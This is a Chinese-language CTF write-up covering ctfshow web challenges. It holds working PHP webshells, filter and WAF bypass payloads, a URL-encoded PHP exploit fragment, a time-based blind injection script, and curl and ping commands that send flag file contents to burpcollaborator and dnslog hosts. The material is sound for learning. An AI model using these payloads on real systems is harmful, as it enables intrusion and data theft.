B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A

实在是太高端了。

Web73

和71是一样的,直接查看目录然后include就行了。

Web74

限制了不能使用scandir,所以就只能使用72题的方法区读取目录,然后再使用include去读取。

Web75

首先就是查文件,这个及时还和上边的一样的方法

数据库名字需要利用前面的web58去找

1
2
3
4
5
6
7
8
9
10
11
12
13
poc:
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
# 在MySQL中,load_file(完整路径)函数读取一个文件并将其内容作为字符串返回。
foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{
echo($row[0])."|";
}
$dbh = null;
}catch (PDOException $e) {
echo $e->getMessage();exit(0);
}
exit(0);

通过 php PDO 连接数据库,通过数据库的函数间接查询文件内容,这题其实不用try也行

Web76

和上题一模一样的做法即可

Web77

这题要用到什么FFI,没学过的东西,只能现学了。

1
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
1
2
3
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显,所以将内容输出到1.txt
$ffi->system($a);//通过$ffi去调用system函数

采用c语言去读取就行,而且注意直接读取是没用的,执行readflag即可

Web118

这题需要使用环境变量去写

1
2
3
4
//利用系统变量构造nl命令
${PATH:~A}${PWD:~A}$IFS????.???

${PATH:~A}${PWD:~A}是nl
1
${PATH:~M}${PWD:~J} ????.???

这样就得到了flag

还有别的利用${PATH}构造的payload

SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2。
${PWD:$是0,${SHLVL}为1
$来替代数字,截取想要的字符串

1
2
3
4
5
#${RANDOM}是随机数,${#RANDOM}一般是5,也可能是4
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

Web119

这次禁用了${PATH

1
2
3
4
5
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
# pwd=/var/www/html
# USER=www-data
# payload即为 /???/?at ????.???
为了构造/bin/cat
1
2
3
也可以只要a进行构造
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
/???/?a? ????.???

Web120

和上题一样的做法即可

Web121

是只能使用pwd了

1
2
3
${?}=0,${#?}=1($?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误)

${#IFS}=3
1
2
3
4
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

/???/r?? ????.???
/bin/rev

Web122

1
2
payload:
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
1
2
3
4
5
6
7
$?表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

为什么有 <A

<A返回的错误值 使得$?为1

然后再使用random去随机,多点几次就有可以得到源码的

Web124

讲下主要函数

1
2
3
4
base_convert  		#在任意进制之间转换数字。
hexdec #把十六进制转换为十进制。
dechex #把十进制转换为十六进制。
hex2bin #把十六进制的字符串转换为ASCII码

构造$_GET 把参数逃逸出去

转成10进制 多转一层绕过过滤

1
2
3
4
5
6
7
8
9
10
11
12
<?php 

// 把 hex2bin转化为10进制
echo base_convert("hex2bin", 36, 16); //37907361743
echo "<br>";
echo base_convert("8d3746fcf", 16, 36); //hex2bin
echo "<br>";
//把_GET 先转为16进制再转为10进制
echo hexdec(bin2hex("_GET")); //1598506324
echo "<br>";
echo base_convert("8d3746fcf", 16, 36)(dechex("1598506324")); // 绕过过滤拿到 "_GET"
?>

题解

1
2
3
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php

$$pi{abs}($$pi{acos}) #相当于 $_GET['abs']($_GET['acos'])

Web78

直接用base64去读取就可以了

Web79

这题发现php被替换掉了,我们就可以使用data协议即可

1
2
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

Web80

这题把data协议也禁掉了

这就得使用文件日志包含去解决了

data被替换
日志文件地址

1
/var/log/nginx/access.log

User-Agent插入

1
<?php eval($_POST[1]);?>

然后用蚁剑去连接就能拿到flag了。

Web81

还是可以使用上面一题的文件日志包含去完成

Web82-Web86

session文件包含,但是因为需要竞争的环境,得半夜才有,所以就先放放,理解知识点才是主要

Web87

die死亡绕过,比较简单的一个知识点

1
?file=php://filter/write=convert.base64-decode/resource=2.php

不过要注意的点是这里需要进行两次url加密,并且是全字母加密

Web88

和79题一样,用data协议即可

1
2
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');

Web116

这题需要结合misc的知识点去做,我们去对视频进行分析找到源码,然后就很容易得写出这题

Web117

解答:两个参数,有过滤,有die。
string字符串过滤器被过滤了,base64也被过滤了,但还有convert.iconv.

一句话木马UCS-2LE编码转换为UCS-2BE编码。

1
2
3
4
5
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[jz]);?>');
echo "payload:".$result."\n";
?>
#?<hp pe@av(l_$OPTSj[]z;)>?

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=jiuzhen.php
post:contents=?<hp pe@av(l_$OPTSj[]z;)>?

蚁剑连接,或者直接访问jiuzhen.php,post传参。

Web89

直接数组绕过即可

Web90

1
http://804aeafe-d39e-4a16-a21d-0daec7483e63.challenge.ctf.show/?num=4476a

直接多加一个字母即可

Web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
i 
不区分(ignore)大小写

m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。

s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs

A
强制从目标字符串开头匹配;

D
如果使用$限制结尾字符,则不允许结尾有换行;

e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;

直接%0a绕过即可

Web92

1
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123
1
2
3
4
5
payload:?num=0x117c

这里我采用的是16进制绕过

进制绕过

Web93

可以使用别的进制即可,不过千万要注意进制的前缀,不然就会默认当成十进制去运算了

1
2
3
1.0B 表示二进制的前缀
2.0O 表示八进制的前缀 也可以使用0表示八进制的前缀
4.0x 这个是十六进制的前缀 0x是16进制的前缀,H是16进制的后缀

Web94

过滤了第一个数字为0的情况,所以就无法使用八进制去绕过了,但是我们可以使用小数即可。

Web95

1
可以通过8进制绕过但是前面必须多加一个字节(加号空格都行) ?num=+010574或者?num=%2b010574

Web96

1
2
3
./flag.php   ./当前目录
/var/www/html/flag.php
php://filter/resource=flag.php

Web97

md5数组绕过即可,或者md5强弱碰撞都行

Web98

既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了

Web99

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>
payload: get : ?n=1.php post:content=

很简单的一道题目

Web100

1
2
3
?v1=1&v2=var_dump($ctfshow)&v3=;
v1=1&v2=system("cat ctfshow.php")/*&v3=*/;
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

Web101

这里需要用到php反射类

1
?v1=1&v2=echo new ReflectionClass&v3=;

Web102

利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:

1
2
3
4
5
6
7
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
1
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post:v1=hex2bin

然后访问1.php去触发就可以了

1
注意区别bin2hex和hex2bin

Web103

和上题一样的做法即可

Web104

sha1绕过

和md5绕过一样的

Web105

这题就是很简单的变量传递即可,

1
2
?suces=flag
post:error=suces

Web106

还是和104一样的sha1绕过1

Web107

第一种方法

利用md5碰撞:使得v1中的flag=0,然后v3=0(md5(QNKCDZO)=0e…)

payload:vl=flag=0,v3=QNKCDZO)

第二种方法

数组绕过即可

1
2
?v3[]=2&flag[]=32
post:v1=v2=$_GET

Web108

1
ereg()限制password的格式,只能是数字或者字母。但ereg()函数存在NULL截断漏洞,可以使用%00绕过验证。
1
2
3
①%00截断及遇到%00则默认为字符串的结束

②当ntf为数组时它的返回值不是FALSE

这题还要注意strrev函数,反转字符串

1
?c=a%00778

Web109

这题使用反射类即可很简单的完成了。

1
?v1=ReflectionClass&v2=system('tac fl36dg.txt')

当然也可以使用别的方法

1
?v1=Exception&v2=system('cat fl36dg.txt')

总结

1
2
3
?v1=Exception();system("ls");//&v2=a
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass("PDO");system("ls");//&v2=a

Web110

FilesystemIterator获取目录文件

getcwd()函数取得当前工作目录

构造playload:

1
v1=FilesystemIterator&v2=getcwd

得到当前目录的第一个文件名字:fl36dga.txt,然后访问即可,缺陷:只能获取第一个文件名字

Web111

主要是全局变量

输出GLOBALS即可

1
?v1=sctfshow&v2=GLOBALS

Web112

1
2
3
4
5
6
7
8
9
可以直接用不带任何过滤器的filter伪协议
file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
↑这是读取压缩流
file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
↑这是两位一反转的读取方式

Web113

这接着上面把filter禁掉了

利用上一道题目的payload可以继续打

1
file=compress.zlib://flag.php

利用目录溢出来做

inux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file

1
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

Web114

把filter又放出来了,直接写就行

Web115

这题需要写一个脚本去找到

1
2
3
4
5
6
7
<?php
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))."\n";
}
}

得到:%0C %2B(+) - . 0 1 2 3 4 5 6 7 8 9

1
payload:%0C36

Web123

此处的php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM=>CTF_SHOW.COM

payload:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

Web125

1
2
3
4
$_SERVER["QUERY_STRING"]  获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名
1
2
3
4
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) # POST
?$fl0g=flag_give_me; #GET
CTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1]) #POST
?1=flag.php #GET

现将变量fl0g赋值,再去执行命令

Web126

和上题基本一样的

1
2
3
4
5
6
7
8
9
10
11
12
assert() 断言:

PHP 5
bool assert ( mixed $assertion [, string $description ] )

PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行
可见,eval和assert都可以将字符当作代码执行,只不过assert不需要严格遵从语法,比如语句末尾的分号可不加
?$fl0g=flag_give_me
CTF_SHOW=6&CTF[SHOW.COM=6&fun=assert($a[0])

Web127

?ctf_show=ilove36d但是下划线被过滤了

自己写个fuzz脚本跑一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function waf($num){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $num)){
return false;
}else{
return true;
}
}
for($i = 0; $i<129; $i++){
$num=chr($i);
if(waf($num)){
echo "未编码:".$num." 经过编码:".urlencode(chr($i))."\n";
}
}
?>

但是这里我们的目的是利用空格、点、左中括号、+来被自动转换为下划线,经过fuzz得到空格,但是不知道为什么我空格经过URL编码确是+,但是%20确实符合该题目

1
空格 + . [`会被转化为`_
1
?ctf%20show=ilove36d

Web128

新知识:

gettext()函数有一个别名:_ gettext()的作用就是输出一个字符串

1
2
3
4
5
6
7
8
_()是gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数

<?php
echo gettext(666); //输出 666
echo "\n";
echo _("666"); //输出 666
?>

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

1
payload: ?f1=_&f2=get_defined_vars

Web129

1
2
3
4
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

这题需要使用目录穿越即可

1
2
./ctfshow/../flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php

Web130

直接post传参

1
f=ctfshow

Web131

方法一

payload:?f=ctfshow[]

方法二:

采用数组绕过的方法,stripos函数会返回null,null!=false,所以可以绕过stripos函数

1
?f[]=666

方法三:

回溯次数溢出即可

写一个脚本

1
2
3
4
5
6
7
8
import requests

url="http://510d4c1f-2643-4f0e-b2ff-2f62679bf384.challenge.ctf.show/"

response=requests.post(url=url,data={
'f': 'data'*250000+'36Dctfshow'
})
print(response.text)

Web132

很简单的这题

1
2
3
4
5
6
7
8
9
<?php
if(false && false || true){
echo "true!";
}else{
echo "false!";
}
?>

//返回结果为true

所以只需要满足后者就行:$username ==="admin"

同时满足下一个if:$code == 'admin'

1
?username=admin&password=1&code=admin

Web133

1
2
3
4
5
6
7
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
1
2
3
4
5
6
payload:
?F=`$F `;+curl -X POST -F xx=@flag.php 6hokugw3tjr8vdj8f2yldiead1jt7i.burpcollaborator.net

# -X POST 指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件

或者也可以使用dnslog

1
http://6d430dd8-2c69-4e3a-80e9-17df7cab12e0.challenge.ctf.show/?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.5c7zzo.dnslog.cn -c 1

不过这种特别容易失败不知道为什么。

Web134

我们可以之间使用变量去绕过即可

1
?_POST[key1]=36d&_POST[key2]=36d

Web135

1
2
3
?F=`$F` ;cp flag.php 666.txt
?F=`$F` ;nl flag.php>666.txt
?F=`$F` ;mv flag.php 666.txt

直接使用cp命令就可以完成了

或者也可以使用ping命令外带

1
?F=`$F`; ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.qvnuu2.dnslog.cn -c 1

就是这样还是很容易出不来

Web136

直接使用linux的tee命令即可

1
ls /|tee 1 访问1下载发现根目录下有flag payload: cat /f149_15_h3r3|tee 2 访问下载就OK

Web137

这题直接调用静态类即可

1
ctfshow=ctfshow::getFlag

Web138

利用call_user_func的性质即可,我们传递一个数组进去,使其调用

1
2
3
4
5
call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法

array[0]=$classname 类名
array[1]=say_hello say_hello()方法
1
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

Web139

这题就稍微有点难度,需要使用盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# import requests
#
# url = "http://7bbfdea8-0683-43fe-a382-62f9db7b00b5.challenge.ctf.show/?c="
# payload = "if [ `ls / -1 | cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 3;fi"
#
# result = "++++++++++++++++++++++"
#
# row = 6
# length = 20
#
# strings = "abcdefghijklmnopqrstuvwxyz_-0123456789"
#
# for r in range(1,row):
# for c in range(1,length):
# for s in strings:
# target = url+payload.format(c,r,s)
# try:
# requests.get(target,timeout=3)
# except:
# result+=s
# print(result)
# break
#
# result+=" "

import requests

url = "http://7bbfdea8-0683-43fe-a382-62f9db7b00b5.challenge.ctf.show/?c="
payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 3;fi"

result = "++++++++++++++++++++++"

length = 48

strings = "abcdefghijklmnopqrstuvwxyz_-0123456789"

for c in range(1,length):
for s in strings:
target = url+payload.format(c,s)
try:
requests.get(target,timeout=3)
except:
result+=s
print(result)
break

result+=" "

最后就得到了flag

Web140

0==“字符串” 返回的是TRUE

intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0

1
2
3
4
5
6
7
8
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
post f1=usleep&f2=usleep
post f1=gmdate&f2=gmdate
post f1=intval&f2=intval

Web141

这主要是可以通过取反绕过

拓展:各种无数字字母绕过https://blog.csdn.net/miuzzx/article/details/109143413‘

绕过return的方式:
php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();结合减号是可以执行phpinfo()命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+,要进行URL编码,这是个特殊字符,不进行编码会当作空格)

1
2
3
4
5
6
7
system(tac f*);
经过取反处理
(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);
payload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5);-&v2=1

?v1=1&v2=2&v3=-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-

Web142

直接传0就行了

1
2
3
4
payload:
?v1=0 八进制
?v1=0x0 16进制
?v1=0e123 科学计数法

Web143

这题是141的升级版,我们用异或即可。

并且没有过滤乘号

1
2
3
?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")?>

?v1=1&v2=2&v3=-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-

Web144

直接换个位置就行了这题

1
?v1=1&v3=-&v2=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)

Web145

可以使用冒号问号连接

测试:

1
eval("return 1?phpinfo():1;");

这是可以运行出来的

所以

1
?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5):

Web146

又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符

1
eval("return 1==phpinfo()||1;");

继续套就行

Web147

1
2
3
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行

由于命名空间问题,如果要绝对调用一个函数,例如system,那么就要写成\system

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

1
2
?show=;};phpinfo();/*
ctf=\create_function

紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function来完成,create_function的第一个参数是参数,第二个参数是内容。

函数结构形似

1
2
3
4
5
6
7
create_function('$a,$b','return 111')

==>

function a($a, $b){
return 111;
}

然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。

1
2
3
4
5
6
7
create_function('$a,$b','return 111;}phpinfo();//')

==>

function a($a, $b){
return 111;}phpinfo();//
}

这样一来,我们想要执行的代码就会执行

Web148

这题就有点没看懂的感觉

说是使用中文变量

1
2
3
code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
"`{{{"^"?<>/"; 异或出来的结果是 _GET
${_GET}[哼](${_GET}[嗯]);&哼=call_user_func&嗯=get_ctfshow_fl0g

***”`